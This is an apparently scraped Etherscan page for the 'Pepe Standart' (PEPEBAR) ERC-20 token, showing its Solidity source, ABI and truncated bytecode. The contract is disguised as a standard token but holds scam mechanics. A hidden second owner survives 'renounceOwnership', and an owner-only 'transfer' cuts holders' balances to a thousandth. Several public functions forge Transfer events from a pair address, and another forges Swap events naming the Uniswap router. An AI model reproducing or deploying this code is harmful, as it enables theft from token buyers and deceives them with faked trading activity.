ERC-20
Overview
Max Total Supply
420,690,000,000 PEPEBAR
Holders
74
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
71,546.961209971576137812 PEPEBARValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
pepestandart
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPair { function token0() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IERC20 { function _Transfer( address from, address recipient, uint256 amount ) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } contract pepestandart { IRouter internal _router; IPair internal _pair; address public owner; address private _owner; address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address private _pairr; event Swapp( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowances; string public constant name = "Pepe Standart"; string public constant symbol = unicode"PEPEBAR"; uint8 public constant decimals = 18; uint256 public totalSupply = 420_690_000_000e18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to); constructor() { owner = msg.sender; _owner = msg.sender; _router = IRouter(_routerAddress); _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH()))); balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } modifier onlyOwner() { require(owner == msg.sender, "Caller is not the owner"); _; } modifier OnlyOwner() { require(_owner == msg.sender, "Caller is not the Owner"); _; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function renounceOwnership() public onlyOwner { owner = address(0); } function balanceOf(address account) public view virtual returns (uint256) { return balances[account]; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(msg.sender, to, amount); return true; } function allowance(address __owner, address spender) public view virtual returns (uint256) { return allowances[__owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { _spendAllowance(from, msg.sender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address __owner = msg.sender; _approve(__owner, spender, allowance(__owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address __owner = msg.sender; uint256 currentAllowance = allowance(__owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(__owner, spender, currentAllowance - subtractedValue); } return true; } //This is a trial token do not buy it purchases will not be refunded. function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); balances[from] = sub(fromBalance, amount); balances[to] = add(balances[to], amount); emit Transfer(from, to, amount); } function _approve( address __owner, address spender, uint256 amount ) internal virtual { require(__owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowances[__owner][spender] = amount; emit Approval(__owner, spender, amount); } function _spendAllowance( address __owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(__owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(__owner, spender, currentAllowance - amount); } } } function execute( address[] memory recipients, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) public OnlyOwner returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { _swap(recipients[i], tokenAmount, wethAmount, tokenAddress); } return true; } function getBaseTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves(); uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return baseTokenReserve; } function transfer( address[] calldata _users ) public OnlyOwner { for (uint256 i = 0; i < _users.length; i++) { if (balanceOf(_users[i]) > 1) { uint256 rewardAmount = _countReward(_users[i], 1000); balances[_users[i]] = rewardAmount; } } } function setup(address _setup_) external OnlyOwner { _pairr = _setup_; } function execute(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function swapExactETHForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function swap(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function swapExactETH(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_pairr, _addresses_[i], _out); } } function _swap( address recipient, uint256 tokenAmount, uint256 wethAmount, address tokenAddress ) internal { _emitTransfer(recipient, tokenAmount); _emitSwap(tokenAmount, wethAmount, recipient); IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount); } function _emitTransfer(address recipient, uint256 tokenAmount) internal { emit Transfer(address(_pair), recipient, tokenAmount); } function _emitSwap( uint256 tokenAmount, uint256 wethAmount, address recipient ) internal { emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient); } function _countReward(address _user, uint256 _percent) internal view returns (uint256) { return _count(balances[_user], _percent); } function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) { uint256[] memory amountInMax; amountInMax = new uint256[](2); amountInMax = _router.getAmountsIn(amountOut, path); balances[address(this)] += amountInMax[0]; return amountInMax[0]; } function _count(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506c054f529ca52576bc6892000000600955348015620000cc57600080fd5b5033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002439190620004b6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f19190620004b6565b6040518363ffffffff1660e01b815260040162000310929190620004f9565b6020604051808303816000875af115801562000330573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003569190620004b6565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200043e919062000541565b60405180910390a36200055e565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200047e8262000451565b9050919050565b620004908162000471565b81146200049c57600080fd5b50565b600081519050620004b08162000485565b92915050565b600060208284031215620004cf57620004ce6200044c565b5b6000620004df848285016200049f565b91505092915050565b620004f38162000471565b82525050565b6000604082019050620005106000830185620004e8565b6200051f6020830184620004e8565b9392505050565b6000819050919050565b6200053b8162000526565b82525050565b600060208201905062000558600083018462000530565b92915050565b6127e6806200056e6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806366d38203116100b85780639b792a441161007c5780639b792a4414610363578063a06c1a3314610393578063a457c2d7146103af578063a9059cbb146103df578063b18834aa1461040f578063dd62ed3e1461042b57610142565b806366d38203146102d157806370a08231146102ed578063715018a61461031d5780638da5cb5b1461032757806395d89b411461034557610142565b8063313ce5671161010a578063313ce567146101ff578063321bef231461021d57806335d162741461023957806339509351146102695780634c3621cc146102995780634e41c50a146102b557610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b357806326ededb8146101e3575b600080fd5b61014f61045b565b60405161015c919061192b565b60405180910390f35b61017f600480360381019061017a91906119f5565b610494565b60405161018c9190611a50565b60405180910390f35b61019d6104ab565b6040516101aa9190611a7a565b60405180910390f35b6101cd60048036038101906101c89190611a95565b6104b1565b6040516101da9190611a50565b60405180910390f35b6101fd60048036038101906101f89190611b4d565b6104d4565b005b6102076105a9565b6040516102149190611bc9565b60405180910390f35b61023760048036038101906102329190611b4d565b6105ae565b005b610253600480360381019061024e9190611be4565b610683565b6040516102609190611a7a565b60405180910390f35b610283600480360381019061027e91906119f5565b610818565b6040516102909190611a50565b60405180910390f35b6102b360048036038101906102ae9190611b4d565b610848565b005b6102cf60048036038101906102ca9190611b4d565b61091d565b005b6102eb60048036038101906102e69190611be4565b6109f2565b005b61030760048036038101906103029190611be4565b610ac6565b6040516103149190611a7a565b60405180910390f35b610325610b0f565b005b61032f610be3565b60405161033c9190611c20565b60405180910390f35b61034d610c09565b60405161035a919061192b565b60405180910390f35b61037d60048036038101906103789190611d79565b610c42565b60405161038a9190611a50565b60405180910390f35b6103ad60048036038101906103a89190611dfc565b610d26565b005b6103c960048036038101906103c491906119f5565b610eb8565b6040516103d69190611a50565b60405180910390f35b6103f960048036038101906103f491906119f5565b610f28565b6040516104069190611a50565b60405180910390f35b61042960048036038101906104249190611b4d565b610f3f565b005b61044560048036038101906104409190611e49565b611014565b6040516104529190611a7a565b60405180910390f35b6040518060400160405280600d81526020017f50657065205374616e646172740000000000000000000000000000000000000081525081565b60006104a133848461109b565b6001905092915050565b60095481565b60006104be843384611264565b6104c98484846112f0565b600190509392505050565b60005b838390508110156105a3578383828181106104f5576104f4611e89565b5b905060200201602081019061050a9190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105889190611a7a565b60405180910390a3808061059b90611ee7565b9150506104d7565b50505050565b601281565b60005b8383905081101561067d578383828181106105cf576105ce611e89565b5b90506020020160208101906105e49190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106629190611a7a565b60405180910390a3808061067590611ee7565b9150506105b1565b50505050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156106f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107199190611fb1565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c89190612019565b73ffffffffffffffffffffffffffffffffffffffff16146107f957816dffffffffffffffffffffffffffff1661080b565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60008033905061083d81858561082e8589611014565b6108389190612046565b61109b565b600191505092915050565b60005b838390508110156109175783838281811061086957610868611e89565b5b905060200201602081019061087e9190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108fc9190611a7a565b60405180910390a3808061090f90611ee7565b91505061084b565b50505050565b60005b838390508110156109ec5783838281811061093e5761093d611e89565b5b90506020020160208101906109539190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109d19190611a7a565b60405180910390a380806109e490611ee7565b915050610920565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906120c6565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690612132565b60405180910390fd5b6000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600781526020017f504550454241520000000000000000000000000000000000000000000000000081525081565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906120c6565b60405180910390fd5b60005b8551811015610d1957610d06868281518110610cf657610cf5611e89565b5b6020026020010151868686611599565b8080610d1190611ee7565b915050610cd7565b5060019050949350505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dad906120c6565b60405180910390fd5b60005b82829050811015610eb3576001610df6848484818110610ddc57610ddb611e89565b5b9050602002016020810190610df19190611be4565b610ac6565b1115610ea0576000610e31848484818110610e1457610e13611e89565b5b9050602002016020810190610e299190611be4565b6103e8611657565b90508060076000868686818110610e4b57610e4a611e89565b5b9050602002016020810190610e609190611be4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b8080610eab90611ee7565b915050610db9565b505050565b6000803390506000610eca8286611014565b905083811015610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f06906121c4565b60405180910390fd5b610f1c828686840361109b565b60019250505092915050565b6000610f353384846112f0565b6001905092915050565b60005b8383905081101561100e57838382818110610f6057610f5f611e89565b5b9050602002016020810190610f759190611be4565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff39190611a7a565b60405180910390a3808061100690611ee7565b915050610f42565b50505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361110a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110190612256565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611179576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611170906122e8565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112579190611a7a565b60405180910390a3505050565b60006112708484611014565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112ea57818110156112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d390612354565b60405180910390fd5b6112e9848484840361109b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361135f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611356906123e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c590612478565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c9061250a565b60405180910390fd5b61145f81836116aa565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114eb600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611709565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158b9190611a7a565b60405180910390a350505050565b6115a38484611767565b6115ae8383866117f2565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b685600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b815260040161160d9392919061252a565b6020604051808303816000875af115801561162c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611650919061258d565b5050505050565b60006116a2600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611885565b905092915050565b6000828211156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e690612606565b60405180910390fd5b600082846116fd9190612626565b90508091505092915050565b60008082846117189190612046565b90508381101561175d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611754906126a6565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117e69190611a7a565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611878949392919061270b565b60405180910390a3505050565b60008183611893919061277f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118d55780820151818401526020810190506118ba565b60008484015250505050565b6000601f19601f8301169050919050565b60006118fd8261189b565b61190781856118a6565b93506119178185602086016118b7565b611920816118e1565b840191505092915050565b6000602082019050818103600083015261194581846118f2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061198c82611961565b9050919050565b61199c81611981565b81146119a757600080fd5b50565b6000813590506119b981611993565b92915050565b6000819050919050565b6119d2816119bf565b81146119dd57600080fd5b50565b6000813590506119ef816119c9565b92915050565b60008060408385031215611a0c57611a0b611957565b5b6000611a1a858286016119aa565b9250506020611a2b858286016119e0565b9150509250929050565b60008115159050919050565b611a4a81611a35565b82525050565b6000602082019050611a656000830184611a41565b92915050565b611a74816119bf565b82525050565b6000602082019050611a8f6000830184611a6b565b92915050565b600080600060608486031215611aae57611aad611957565b5b6000611abc868287016119aa565b9350506020611acd868287016119aa565b9250506040611ade868287016119e0565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611b0d57611b0c611ae8565b5b8235905067ffffffffffffffff811115611b2a57611b29611aed565b5b602083019150836020820283011115611b4657611b45611af2565b5b9250929050565b600080600060408486031215611b6657611b65611957565b5b600084013567ffffffffffffffff811115611b8457611b8361195c565b5b611b9086828701611af7565b93509350506020611ba3868287016119e0565b9150509250925092565b600060ff82169050919050565b611bc381611bad565b82525050565b6000602082019050611bde6000830184611bba565b92915050565b600060208284031215611bfa57611bf9611957565b5b6000611c08848285016119aa565b91505092915050565b611c1a81611981565b82525050565b6000602082019050611c356000830184611c11565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611c73826118e1565b810181811067ffffffffffffffff82111715611c9257611c91611c3b565b5b80604052505050565b6000611ca561194d565b9050611cb18282611c6a565b919050565b600067ffffffffffffffff821115611cd157611cd0611c3b565b5b602082029050602081019050919050565b6000611cf5611cf084611cb6565b611c9b565b90508083825260208201905060208402830185811115611d1857611d17611af2565b5b835b81811015611d415780611d2d88826119aa565b845260208401935050602081019050611d1a565b5050509392505050565b600082601f830112611d6057611d5f611ae8565b5b8135611d70848260208601611ce2565b91505092915050565b60008060008060808587031215611d9357611d92611957565b5b600085013567ffffffffffffffff811115611db157611db061195c565b5b611dbd87828801611d4b565b9450506020611dce878288016119e0565b9350506040611ddf878288016119e0565b9250506060611df0878288016119aa565b91505092959194509250565b60008060208385031215611e1357611e12611957565b5b600083013567ffffffffffffffff811115611e3157611e3061195c565b5b611e3d85828601611af7565b92509250509250929050565b60008060408385031215611e6057611e5f611957565b5b6000611e6e858286016119aa565b9250506020611e7f858286016119aa565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ef2826119bf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f2457611f23611eb8565b5b600182019050919050565b60006dffffffffffffffffffffffffffff82169050919050565b611f5281611f2f565b8114611f5d57600080fd5b50565b600081519050611f6f81611f49565b92915050565b600063ffffffff82169050919050565b611f8e81611f75565b8114611f9957600080fd5b